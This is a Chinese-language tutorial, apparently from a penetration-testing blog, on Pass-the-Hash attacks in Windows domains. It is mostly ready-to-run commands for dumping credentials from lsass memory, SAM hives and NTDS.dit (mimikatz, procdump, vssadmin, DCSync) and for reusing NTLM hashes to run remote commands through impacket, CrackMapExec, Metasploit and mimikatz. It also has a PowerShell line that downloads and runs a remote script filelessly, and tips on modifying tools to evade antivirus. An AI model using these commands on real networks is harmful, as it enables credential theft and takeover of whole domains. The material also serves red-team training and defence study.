简介
Hash传递攻击,也称为Pass the Hash (PTH),内网横向最常用的手段之一。
攻击者获取目标系统用户的密码哈希值(通常是NTLM Hash),然后直接使用该哈希值进行身份验证,绕过了明文密码的需求。
原理: 由于整个NTLM认证的过程中都是用的NTLM Hash去加密,所以我们拿到了Hash,其实也相当于变相拿到了密码,只不过不是明文的而已。
利用场景:
- 目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码,只能拿到Hash
- 随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到Hash却解不开的情况,只能去传递Hash
如何拿到Hash
运行中的系统,需要抓取
lsass.exe
的内存,进程里边存放的是活动用户(当前登录的用户)的Hash;在域中,只要域管理员通过RDP登录过,就会将hash保存到lsass中。普通域用户或普通工作组:SAM文件(加密后的用户密码)和 SYSTEM文件(秘钥)组合后可以提取出用户的用户名和Hash
域控:
ntds.dit
存放了所有域用户的账号/密码(Hash)
普通PC
mimikatz
直接上
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
但大多数情况下都会被杀软干掉,所以需要先把 lsass.exe
的内存dump下来,然后再在本地用 mimikatz 解析。
最多的就是用微软提供的 procdump
去dump lsass的内存
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
但目前 procdump 基本也被干掉了,可以去GitHub上找找最新发布的一些可用的,不行的话就再魔改。
MSF
有meterpreter后
hashdump
run hashdump
run post/windows/gather/smart_hashdump
也可以再上面的基础上,加载其他的插件
load kivi # 加载
msv
tspkg
wdigest
kerberos
ssp
Nishang
基于powershell的,可以下载到本地也可以无文件落地导出。
powershell iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
手动从SAM获取
导出SAM数据
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
使用mimikatz提取hash:
lsadump::sam /sam:SAM /system:SYSTEM
使用secretsdump提取hash:
secretsdump.py -sam sam -system system LOCAL
域控
mimikatz
这里和普通PC一样,都是从 lsass.exe 的内存中获取到Hash,不再赘述。
但需要注意的是在域控上,只能拿到本地用户的Hash,即域管的Hash,并不能获取整个域的用户Hash。
NTDS.dit
由于AD的存储文件为 NTDS.dit
,因此通过该文件,我们可以获取所有域用户的Hash。
首先的问题就是如何获取到该文件:
方法一: 手动导出,在域控上执行如下CMD命令:
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
方法二: 利用Windows上的一个卷影拷贝服务的命令行管理工具vssadmin
可以将 ntds.dit
从域控中复制出来。
# 创建一个C盘的卷影拷贝
vssadmin create shadow /for=C:
# 将 ntds.dit 复制到 C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\temp\ntds.dit
# 删除刚才创建的卷影拷贝
vssadmin delete shadows /for=c: /quiet
拿到 ntds.dit
后,我们还需要获取到 SYSTEM
密钥文件
reg save HKLM\SYSTEM SYSTEM
最后使用工具通过密钥SYSTEM就需要提取其中的hash。
可使用工具 NTDSDumpEx
NTDSDumpEx -d ntds.dit -s system -o out.txt
也可以使用 impacket下的secretsdump
secretsdump.exe -system SYSTEM -ntds ntds.dit local
DCSYNC
DCSync是一种域渗透技术,利用目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口向域控发起数据同步请求,以模仿域控从真实的域控中获取用户散列值。攻击者可以通过DCSync获取域内用户的密码哈希值,需要域管权限或者有DCSYNC权限的用户,一般情况下只有域管。
使用 mimikatz(本地)
mimikatz "lsadump::dcsync /domain:org.gm7 /all /csv" "exit"
使用impacket的secretdump.py
,结果会保存到 dcsync_hashes 开头的文件中。(远程)
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
Hash传递
已经拿到hash了,后续的Hash传递交给工具就行了,这里就主要介绍几个常用的命令工具吧,当然有条件用CS更简单。
impacket套件
Impacket is a collection of Python classes for working with network protocols.
WMIEXEC
# python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@IP "命令" # LM Hash不知道的情况下,可以全部用0代替
python3 examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3ac1e294fabedf7d2bfa80fec59f59b9 org/administrator@172.16.93.15 "whoami"
SMBEXEC
# python smbexec.py -hashes LM Hash:NT Hash 域名/用户名@IP
python3 examples/smbexec.py -hashes 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9 org/administrator@172.16.93.15 # LM Hash 可以用0代替
python3 examples/smbexec.py -hashes :3ac1e294fabedf7d2bfa80fec59f59b9 org/administrator@172.16.93.15 # 也可以留空
PSEXEC
# python psexec.py -hashes LM Hash:NT Hash 域名/用户名@IP
python3 examples/psexec.py -hashes 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9 org/administrator@172.16.93.15
CME
前面探测服务时用到了CrackMapExec,它也可以用来Hash传递。
cme smb 172.16.93.15 -u administrator -H 3ac1e294fabedf7d2bfa80fec59f59b9 -x whoami
由于cme不再更新,可以用NetExec或者PsMapExec平替。
MSF
可以使用msf提供的各种 exec
模块
exploit/windows/smb/psexec
auxiliary/scanner/smb/impacket/wmiexec
以psexec
为例
use exploit/windows/smb/psexec
set payload windows/x64/exec # 可以自己根据选择,我这里演示没用meterpreter
set CMD calc.exe
set RHOSTS 172.16.93.15
set SMBDomain org.gm7
set SMBPass 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9
set SMBUser Administrator
run
mimikatz
# 没有域的时候,domain写 workgroup 就行
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:org.gm7 /ntlm:3ac1e294fabedf7d2bfa80fec59f59b9" "exit"
成功会自动弹出一个新的shell,这时可以任意访问远程主机或服务。